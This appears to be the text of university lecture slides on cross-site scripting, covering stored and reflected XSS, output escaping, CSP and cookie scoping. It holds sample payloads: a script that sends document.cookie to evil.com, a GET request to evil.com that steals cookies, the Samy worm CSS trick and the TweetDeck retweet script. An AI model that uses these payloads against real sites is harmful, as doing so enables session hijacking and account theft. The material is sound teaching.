Web Security: XSS attacks

CS 161: Computer Security

Prof. Raluca Ada Popa

April 2, 2019

Some content adapted from materials by David Wagner or Dan Boneh
Announcements

• Midterm 2: Apr 9, 8pm - 10pm
• Covers up to the material this week
• Extra office hours: April 4, 5-6pm, Soda 729
Last time: SQL injection
### Top web vulnerabilities

<table>
<thead>
<tr>
<th>OWASP Top 10 - 2013</th>
<th>OWASP Top 10 - 2017</th>
</tr>
</thead>
<tbody>
<tr>
<td>A2 – Broken Authentication and Session Management</td>
<td>A2:2017-Broken Authentication</td>
</tr>
<tr>
<td><strong>A3 – Cross-Site Scripting (XSS)</strong></td>
<td><strong>A3:2017-Sensitive Data Exposure</strong></td>
</tr>
<tr>
<td>A6 – Sensitive Data Exposure</td>
<td>A6:2017-Security Misconfiguration</td>
</tr>
<tr>
<td>A8 – Cross-Site Request Forgery (CSRF)</td>
<td>A8:2017-Insecure Deserialization [NEW, Community]</td>
</tr>
<tr>
<td>A9 – Using Components with Known Vulnerabilities</td>
<td>A9:2017-Using Components with Known Vulnerabilities</td>
</tr>
</tbody>
</table>

**Still quite common**
Cross-site scripting attack (XSS)

• Attacker injects a malicious script into the webpage viewed by a victim user
  – Script runs in user’s browser with access to page’s data
Setting: Dynamic Web Pages

- Rather than static HTML, web pages can be expressed as a program, say written in *Javascript*:

```html
<font size=30>
Hello, <b>
<script>
var a = 1;
var b = 2;
document.write("world: ",
a+b,
"</b>");
</script>
</font>
```

- Outputs:

Hello, *world: 3*
Javascript

• Powerful web page *programming language*
• Scripts are embedded in web pages returned by web server
• Scripts are *executed* by browser. Can:
  – Alter page contents
  – Track events (mouse clicks, motion, keystrokes)
  – Issue web requests, read replies
• *(Note: despite name, has nothing to do with Java!)*
Browser’s rendering engine:

1. Call HTML parser
   - tokenizes, starts creating DOM tree
   - notices <script> tag, yields to JS engine
2. JS engine runs script to change page
3. HTML parser continues:
   - creates DOM
4. Painter displays DOM to user

Hello, world: 3
Confining the Power of Javascript Scripts

• Given all that power, browsers need to make sure JS scripts don’t abuse it

• For example, don’t want a script sent from hackerz.com web server to read or modify data from bank.com

• … or read keystrokes typed by user while focus is on a bank.com page!
Same Origin Policy

Recall:

- Browser associates web page elements (text, layout, events) with a given origin
- SOP = a script loaded by origin A can access only origin A’s resources (and it cannot access the resources of another origin)
Two main types of XSS

- **Stored XSS**: attacker leaves Javascript lying around on benign web service for victim to load
- **Reflected XSS**: attacker gets user to click on specially-crafted URL with script in it, web service reflects it back
Stored (or persistent) XSS

- The attacker manages to store a malicious script at the web server, e.g., at bank.com
- The server later unwittingly sends script to a victim’s browser
- Browser runs script in the same origin as the bank.com server
Stored XSS (Cross-Site Scripting)

Attack Browser/Server

evil.com
Stored XSS (Cross-Site Scripting)

1. Attack Browser/Server
2. Inject malicious script
3. Server Patsy/Victim

- evil.com
- bank.com
Stored XSS (Cross-Site Scripting)

1. Inject malicious script

User Victim

Attack Browser/Server

Server Patsy/Victim

bank.com

evil.com
Stored XSS (Cross-Site Scripting)

1. Attack Browser/Server
   - Inject malicious script
   - evil.com

2. User Victim
   - request content
   - bank.com

Server Patsy/Victim
Stored XSS (Cross-Site Scripting)

1. Attack Browser/Server inject malicious script from evil.com
2. User Victim requests content from bank.com
3. Server Patsy/Victim receives malicious script
Stored XSS (Cross-Site Scripting)

1. Attack Browser/Server
   Inject malicious script
   evil.com

2. User Victim
   request content
   bank.com

3. Server Patsy/Victim
   receive malicious script

4. User Victim
   execute script embedded in input as though server meant us to run it
Stored XSS (Cross-Site Scripting)

1. Inject malicious script into the server.
2. Request content from the server.
3. Receive malicious script from the server.
4. Execute script embedded in input as though the server meant us to run it.
5. Perform attacker action.

Attack Browser/Server: evil.com
Server Patsy/Victim: bank.com
Stored XSS (Cross-Site Scripting)

E.g., GET http://bank.com/sendmoney?to=DrEvil&amt=100000
**Stored XSS (Cross-Site Scripting)**

1. **Inject malicious script**
   - **Attack Browser/Server**
   - **Server Patsy/Victim**
   - **evil.com**

2. **request content**
   - **User Victim**

3. **receive malicious script**
   - **User Victim**

4. **execute script embedded in input as though server meant us to run it**

5. **perform attacker action**

6. **steal valuable data**

And/Or:

- Stored XSS (Cross-Site Scripting)
Stored XSS (Cross-Site Scripting)

And/Or:

E.g., GET http://evil.com/steal/document.cookie

User Victim

execute script embedded in input as though server meant us to run it

Server Patsy/Victim

1. evil.com
2. request content
3. receive malicious script
4. perform attacker action
5. perform attacker action
6. leak valuable data

Attack Browser/Server

malicious script

bank.com
Server Patsy/Victim

User Victim

1. Inject malicious script

2. request content

3. receive malicious script

4. execute script embedded in input as though server meant us to run it

5. perform attacker action

6. leak valuable data

Attack Browser/Server

(A “stored” XSS attack)

Server Patsy/Victim

evil.com

bank.com
Stored XSS: Summary

- **Target:** user who visits a vulnerable **web service**

- **Attacker goal:** run a **malicious script** in user’s browser with same access as provided to server’s regular scripts (subvert SOP = **Same Origin Policy**)

- **Attacker tools:** ability to leave content on web server page (e.g., via an ordinary browser);

- **Key trick:** server fails to ensure that content uploaded to page does not contain embedded scripts
Demo: stored XSS
XSS subverts the same origin policy

- Attack happens **within the same origin**
- Attacker **tricks** a server (e.g., bank.com) to send malicious script to users
- User visits to **bank.com**

Malicious script has origin of bank.com so it is permitted to access the resources on bank.com
MySpace.com (Samy worm)

• Users can post HTML on their pages
  – MySpace.com ensures HTML contains no
    `<script>, <body>, onclick, <a href=javascript://>`
  – … but can do Javascript within CSS tags:
    `<div style="background:url('javascript:alert(1)')">`

• With careful Javascript hacking, Samy worm infects anyone who visits an infected MySpace page
  – … and adds Samy as a friend.
  – Samy had millions of friends within 24 hours.

http://namb.la/popular/tech.html
Twitter XSS vulnerability

User figured out how to send a tweet that would automatically be retweeted by all followers using vulnerable TweetDeck apps.

```html
<script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>
```

*andy
@derGeruhn

12:36 PM - 11 Jun 2014

38,572 RETWEETS  6,498 FAVORITES
Stored XSS using images

Suppose pic.jpg on web server contains HTML!

• request for http://site.com/pic.jpg results in:

  HTTP/1.1 200 OK
  ...
  Content-Type: image/jpeg
  </html> fooled ya </html>

• IE will render this as HTML (despite Content-Type)

• Consider photo sharing sites that support image uploads
  • What if attacker uploads an “image” that is a script?
Reflected XSS

- The attacker gets the victim user to visit a URL for bank.com that embeds a malicious Javascript
- The server echoes it back to victim user in its response
- Victim’s browser executes the script within the same origin as bank.com
Reflected XSS (Cross-Site Scripting)
Reflected XSS (Cross-Site Scripting)
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page

Victim client
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page
3. click on link

Exact URL under attacker’s control

Server Patsy/Victim

Attack Server

Victim client

evil.com

bank.com
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input

Victim client → Attack Server

Server Patsy/Victim

Evil.com

Bank.com
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page
3. click on link
4. echo user input

execute script embedded in input as though server meant us to run it
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute script embedded in input as though server meant us to run it
6. Perform attacker action
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. send valuable data
7. return to web site

And/Or:
- Reflected XSS (Cross-Site Scripting)
  - evil.com
  - bank.com
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. perform attacker action
7. send valuable data

(“Reflected” XSS attack)
Example of How Reflected XSS Can Come About

- User input is echoed into HTML response.
- *Example*: search field


  - `search.php` responds with

    ```html
    <HTML>
    <TITLE>Search Results</TITLE>
    <BODY>
    Results for $term :
    
    . . .
    </BODY>
    </HTML>
    ```

How does an attacker who gets you to visit evil.com exploit this?
Injection Via Script-in-URL

- Consider this link on evil.com: (properly URL encoded)

```html
   <script> window.open(
       "http://evil.com/?cookie = " +
       document.cookie ) </script>
```

What if user clicks on this link?

1) Browser goes to `bank.com/search.php`...

2) `bank.com` returns

   `<HTML> Results for <script> ... </script> ...</HTML>`

3) Browser **executes** script **in same origin** as `bank.com`
   
   Sends to `evil.com` the cookie for `bank.com`
2006 Example Vulnerability

- Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website.
- Injected code redirected PayPal visitors to a page warning users their accounts had been compromised.
- Victims were then redirected to a phishing site and prompted to enter sensitive financial data.

Reflected XSS: Summary

- **Target**: user with Javascript-enabled browser who visits a vulnerable web service that will include parts of URLs it receives in the web page output it generates

- **Attacker goal**: run script in user’s browser with same access as provided to server’s regular scripts (subvert SOP = Same Origin Policy)

- **Attacker tools**: ability to get user to click on a specially-crafted URL; optionally, a server used to receive stolen information such as cookies

- **Key trick**: server fails to ensure that output it generates does not contain embedded scripts other than its own
Random fact about … Joey Gonzalez

His latest project: Nora

Objective Function (Weight)

Comparison to Related Work

Better

Related Work

Preliminary Results (August 11th)

Recent Promising Results
2min break
Preventing XSS

Web server must perform:

• **Input validation**: check that inputs are of expected form (whitelisting)
  – Avoid blacklisting; it doesn’t work well

• **Output escaping**: escape dynamic data before inserting it into HTML
Output escaping

- HTML parser looks for special characters: `< > & ” ’
  - `<html>`, `<div>`, `<script>`
  - such sequences trigger actions, e.g., running script
- Ideally, user-provided input string should not contain special chars
- If one wants to display these special characters in a webpage without the parser triggering action, one has to **escape the parser**

<table>
<thead>
<tr>
<th>Character</th>
<th>Escape sequence</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>&lt;</code></td>
<td><code>&amp;lt;</code></td>
</tr>
<tr>
<td><code>&gt;</code></td>
<td><code>&amp;gt;</code></td>
</tr>
<tr>
<td><code>&amp;</code></td>
<td><code>&amp;amp</code></td>
</tr>
<tr>
<td>“</td>
<td><code>&amp;quot;</code></td>
</tr>
<tr>
<td>‘</td>
<td><code>&amp;#39;</code></td>
</tr>
</tbody>
</table>
Direct vs escaped embedding

Attacker input:
<script>
...
</script>

Direct:
<html>
Comment:
  <script>
  ...
  </script>
</html>

escaped:
<html>
Comment:
  &lt;script&gt;
  ...
  &lt;/script&gt;
</html>

browser rendering

Attack! Script runs!

Script does not run but gets displayed!
Escape user input!

""><script>alert(/XSS/)
</script></""
FORGOT, IT GOES ON THE PICTURE
Escaping for SQL injection

• Very similar, escape SQL parser
• Use \ to escape
  – Html: ‘ → &apos;
  – SQL: ‘ → \’
XSS prevention (cont’d): Content-security policy (CSP)

• Have web server supply a whitelist of the scripts that are allowed to appear on a page
  – Web developer specifies the domains the browser should allow for executable scripts, disallowing all other scripts (including inline scripts)
• Can opt to globally disallow script execution
You Can Apparently Leave a Poop Emoji—or Anything Else You Want—on Trump’s Website

By Jordan Weissmann

Trump’s site hacked election day … apparently XSS
You could insert anything you wanted in the headlines by typing it into the URL – a form of reflected XSS

And https://www.donaldjtrump.com/press-releases/archive/trump%20is%20bad%20at%20internet gets you:

TRUMP IS BAD AT INTERNET
Summary

• XSS: Attacker injects a malicious script into the webpage viewed by a victim user
  – Script runs in user’s browser with access to page’s data
  – Bypasses the same-origin policy

• Fixes: validate/escape input/output, use CSP
Session management
HTTP is mostly stateless

- Apps do not typically store persistent state in client browsers
  - User should be able to login from any browser
- Web application servers are generally "stateless":
  - Most web server applications maintain no information in memory from request to request
    - Information typically stored in databases
    - Each HTTP request is independent; server can't tell if 2 requests came from the same browser or user.
- Statelessness not always convenient for application developers: need to tie together a series of requests from the same user
HTTP cookies
Outrageous Chocolate Chip Cookies

Recipe by: Joan

"A great combination of chocolate chips, oatmeal, and peanut butter."

Ingredients

- 1/2 cup butter
- 1/2 cup white sugar
- Market Pantry Granulated Sugar - 4lbs
  - $2.59
- 1/3 cup packed brown sugar
- 1 cup all-purpose flour
- 1 teaspoon baking soda
- 1/4 teaspoon salt
- 1/2 cup rolled oats
- 1 cup semisweet chocolate chips
Cookies

• A way of maintaining state

Browser maintains cookie jar

GET ...

http response contains
Setting/deleting cookies by server

- The first time a browser connects to a particular web server, it has no cookies for that web server.
- When the web server responds, it includes a **Set-Cookie:** header that defines a cookie.
- Each cookie is just a name-value pair.
View a cookie

In a web console (firefox, tool->web developer->web console),
type

document.cookie

to see the cookie for that site
Cookie scope

• When the browser connects to the same server later, it includes a Cookie: header containing the name and value, which the server can use to connect related requests.
• Domain and path inform the browser about the scope.

HTTP Header:
Set-cookie: NAME=VALUE ;
domain = (when to send); scope
path = (when to send)
HTTP Header:

Set-cookie: NAME=VALUE ;
  domain = (when to send) ;
  path = (when to send)
  secure = (only send over HTTPS);

• Secure: sent over https only
  • https provides secure communication (privacy and integrity)
Cookie scope

GET ...

HTTP Header:
Set-cookie: NAME=VALUE ;
  domain = (when to send) ;
  path = (when to send)
  secure = (only send over SSL);
  expires = (when expires) ;
  HttpOnly

- Expires is expiration date
  - Delete cookie by setting “expires” to date in past
- HttpOnly: cookie cannot be accessed by Javascript, but only sent by browser
Cookie scope

- Scope of cookie might not be the same as the URL-host name of the web server setting it

Rules on:
1. What scopes a URL-host name is allowed to set
2. When a cookie is sent to a URL
What scope a server may set for a cookie

The browser checks if the server may set the cookie, and if not, it will not accept the cookie.

domain: any domain-suffix of URL-hostname, except TLD [top-level domain e.g. ‘.com’]

allowed domains

```plaintext
login.site.com
.site.com
```

disallowed domains

```plaintext
usersite.com
othersite.com
.com
```

example: host = “login.site.com”

$$\Rightarrow \text{login.site.com} \text{ can set cookies for all of site.com}$$
We discussed the semantics of HTTP cookies in Chapter 3, but that discussion left out one important detail: the security rules that must be implemented to protect cookies belonging to one site from being tampered with by unrelated pages. This topic is particularly interesting because the approach taken here predates the same-origin policy and interacts with it in a number of unexpected ways.

Cookies are meant to be scoped to domains, and they can't be limited easily to just a single hostname value. The `domain` parameter provided with an cookie may simply match the current hostname (such as `foo.example.com`), but this will not prevent the cookie from being sent to any eventual subdomains, such as `bar.foo.example.com`. A qualified right-hand fragment of the hostname, such as `example.com`, can be specified to request a broader scope, however.

Amusingly, the original RFCs imply that Netscape engineers wanted to allow exact host-scoped cookies, but they did not follow their own advice. The syntax devised for this purpose was not recognized by the descendants of Netscape Navigator (or by any other implementation for that matter). To a limited extent, setting host-scoped cookies is possible in some browsers by completely omitting the `domain` parameter, but this method will have no effect in Internet Explorer.

Table 9-3 illustrates cookie-setting behavior in some distinctive cases.

<table>
<thead>
<tr>
<th>domain</th>
<th>Whether it will be set, and if so, where it will be sent to</th>
</tr>
</thead>
<tbody>
<tr>
<td>(value omitted)</td>
<td>foo.example.com (exact)</td>
</tr>
<tr>
<td>bar.foo.example.com</td>
<td></td>
</tr>
<tr>
<td>foo.example.com</td>
<td>*.foo.example.com</td>
</tr>
<tr>
<td>baz.example.com</td>
<td></td>
</tr>
<tr>
<td>example.com</td>
<td></td>
</tr>
<tr>
<td>ample.com</td>
<td></td>
</tr>
<tr>
<td>.com</td>
<td></td>
</tr>
</tbody>
</table>

Examples

We discussed the semantics of HTTP cookies in Chapter 3, but that discussion left out one important detail: the security rules that must be implemented to protect cookies belonging to one site from being tampered with by unrelated pages. This topic is particularly interesting because the approach taken here predates the same-origin policy and interacts with it in a number of unexpected ways.

Cookies are meant to be scoped to domains, and they can’t be limited easily to just a single hostname value. The domain parameter provided with a cookie may simply match the current hostname (such as foo.example.com), but this will not prevent the cookie from being sent to any eventual subdomains, such as bar.foo.example.com. A qualified right-hand fragment of the hostname, such as example.com, can be specified to request a broader scope, however.

Amusingly, the original RFCs imply that Netscape engineers wanted to allow exact host-scoped cookies, but they did not follow their own advice. The syntax devised for this purpose was not recognized by the descendants of Netscape Navigator (or by any other implementation for that matter). To a limited extent, setting host-scoped cookies is possible in some browsers by completely omitting the domain parameter, but this method will have no effect in Internet Explorer.

Table 9-3 illustrates cookie-setting behavior in some distinctive cases.

The only other true cookie-scoping parameter is the path prefix: Any cookie can be set with a specified path value. This instructs the browser to send the cookie back only on requests to matching directories; a cookie scoped to domain of example.com and path of /some/path/ will be included on a request to http://foo.example.com/some/path/subdirectory/hello_world.txt

This mechanism can be deceptive. URL paths are not taken into account during same-origin policy checks and, therefore, do not form a useful security boundary. Regardless of how cookies work, JavaScript code can simply hop between any URLs on a single host at will and inject malicious payloads into

<table>
<thead>
<tr>
<th>domain</th>
<th>Whether it will be set, and if so, where it will be sent to</th>
</tr>
</thead>
<tbody>
<tr>
<td>(value omitted)</td>
<td>foo.example.com (exact)</td>
</tr>
<tr>
<td>bar.foo.example.com</td>
<td>Cookie not set: domain more specific than origin</td>
</tr>
<tr>
<td>foo.example.com</td>
<td>*.foo.example.com</td>
</tr>
<tr>
<td>baz.example.com</td>
<td>Cookie not set: domain mismatch</td>
</tr>
<tr>
<td>example.com</td>
<td>*.example.com</td>
</tr>
<tr>
<td>ample.com</td>
<td>Cookie not set: domain mismatch</td>
</tr>
<tr>
<td>.com</td>
<td>Cookie not set: domain too broad, security risk</td>
</tr>
</tbody>
</table>

When browser sends cookie

GET //URL-domain/URL-path
Cookie: NAME = VALUE

Goal: server only sees cookies in its scope

Browser sends all cookies in URL scope:

• cookie-domain is domain-suffix of URL-domain, and

• cookie-path is prefix of URL-path, and

• [protocol=HTTPS, if cookie is “secure”]
When browser sends cookie

A cookie with
  domain = example.com, and
  path = /some/path/
will be included on a request to
  http://foo.example.com/some/path/subdirectory/hello.txt
Examples: Which cookie will be sent?

**cookie 1**
- name = *userid*
- value = *u1*
- domain = *login.site.com*
- path = /
- non-secure

**cookie 2**
- name = *userid*
- value = *u2*
- domain = *site.com*
- path = /
- non-secure

http://checkout.site.com/

cookie: *userid=u2*

http://login.site.com/

cookie: *userid=u1, userid=u2*

http://othersite.com/

cookie: none
Examples

**cookie 1**
- name = userid
- value = u1
- domain = login.site.com
- path = /secure

**cookie 2**
- name = userid
- value = u2
- domain = .site.com
- path = /non-secure

http://checkout.site.com/

http://login.site.com/

https://login.site.com/

cookie: userid=u2
cookie: userid=u2
cookie: userid=u1; userid=u2

(arbitrary order)
Client side read/write: document.cookie

- Setting a cookie in Javascript:
  ```javascript
document.cookie = "name=value;
expires=...;"
```

- Reading a cookie:
  ```javascript
alert(document.cookie)
```
  prints string containing all cookies available for document (based on [protocol], domain, path)

document.cookie often used to customize page in Javascript
Viewing/deleting cookies in Browser UI

Firefox: Tools -> page info -> security -> view cookies